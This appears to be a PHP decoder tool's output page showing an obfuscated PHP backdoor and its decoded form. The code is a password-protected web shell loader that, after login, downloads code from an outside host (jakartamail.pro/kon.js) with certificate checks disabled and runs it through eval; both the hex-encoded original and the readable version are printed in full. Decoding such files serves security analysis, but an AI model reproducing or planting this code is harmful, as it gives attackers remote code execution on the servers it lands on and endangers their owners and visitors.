Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto iwxPx; iwxPx: session_start(); goto NzDwC; OnLT8: if (is_logged_in()) { $a = ..

Decoded Output download

<?php 
 goto iwxPx; iwxPx: session_start(); goto NzDwC; OnLT8: if (is_logged_in()) { $a = geturlsinfo("https://jakartamail.pro/kon.js"); eval("?>" . $a); } else { ?> 
<form action=""method="POST"><label for="password"></label> <input id="password"name="password"type="password"></form><?php  } goto yrcNq; TQvco: if (isset($_POST["password"])) { $entered_password = $_POST["password"]; $hashed_password = "f8a589e68b4c4edc48cf6683623ec808"; if (md5($entered_password) === $hashed_password) { $_SESSION["logged_in"] = true; $_SESSION["SAP"] = "janco"; } else { echo "<h1>Ngapain? Skipaja<h1>"; } } goto OnLT8; NzDwC: function geturlsinfo($url) { if (function_exists("curl_exec")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["SAP"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["SAP"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("file_get_contents")) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists("fopen") && function_exists("stream_get_contents")) { $handle = fopen($url, "r"); $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } goto eKSQ2; eKSQ2: function is_logged_in() { return isset($_SESSION["logged_in"]) && $_SESSION["logged_in"] === true; } goto TQvco; yrcNq: ?>

Did this file decode correctly?

Original Code

<?php
 goto iwxPx; iwxPx: session_start(); goto NzDwC; OnLT8: if (is_logged_in()) { $a = geturlsinfo("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6a\141\x6b\x61\x72\164\x61\155\141\x69\x6c\x2e\x70\x72\157\57\153\157\x6e\x2e\x6a\x73"); eval("\77\x3e" . $a); } else { ?>
<form action=""method="POST"><label for="password"></label> <input id="password"name="password"type="password"></form><?php  } goto yrcNq; TQvco: if (isset($_POST["\x70\x61\163\x73\167\157\162\144"])) { $entered_password = $_POST["\x70\141\163\x73\x77\157\x72\x64"]; $hashed_password = "\146\x38\x61\x35\x38\71\145\66\70\142\64\143\x34\145\144\x63\x34\x38\x63\146\x36\66\x38\63\66\x32\x33\x65\143\70\60\70"; if (md5($entered_password) === $hashed_password) { $_SESSION["\154\157\147\x67\145\x64\137\x69\156"] = true; $_SESSION["\x53\x41\120"] = "\152\x61\x6e\x63\157"; } else { echo "\74\x68\61\x3e\116\147\x61\160\x61\x69\156\77\40\123\153\x69\x70\x61\x6a\x61\x3c\150\x31\x3e"; } } goto OnLT8; NzDwC: function geturlsinfo($url) { if (function_exists("\143\165\x72\x6c\x5f\145\x78\145\x63")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "\x4d\157\x7a\151\x6c\154\141\57\65\x2e\x30\40\x28\x57\x69\156\x64\x6f\167\163\40\116\x54\x20\x36\56\x31\73\40\162\x76\x3a\63\62\56\60\51\x20\107\x65\143\153\157\x2f\62\60\x31\60\x30\x31\60\61\40\x46\151\162\145\146\157\170\57\63\x32\56\x30"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["\123\x41\120"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["\x53\x41\x50"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("\x66\x69\x6c\x65\137\x67\x65\x74\137\143\x6f\156\x74\145\156\x74\163")) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists("\146\157\160\145\x6e") && function_exists("\x73\x74\x72\x65\x61\155\137\147\x65\164\137\143\x6f\x6e\x74\x65\156\164\163")) { $handle = fopen($url, "\x72"); $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } goto eKSQ2; eKSQ2: function is_logged_in() { return isset($_SESSION["\154\x6f\x67\147\145\144\x5f\x69\156"]) && $_SESSION["\154\157\x67\147\x65\x64\137\x69\156"] === true; } goto TQvco; yrcNq: ?>

Function Calls

None

Variables

None

Stats

MD5 62a3f6c1614c225abb76e312385bbd06
Eval Count 0
Decode Time 52 ms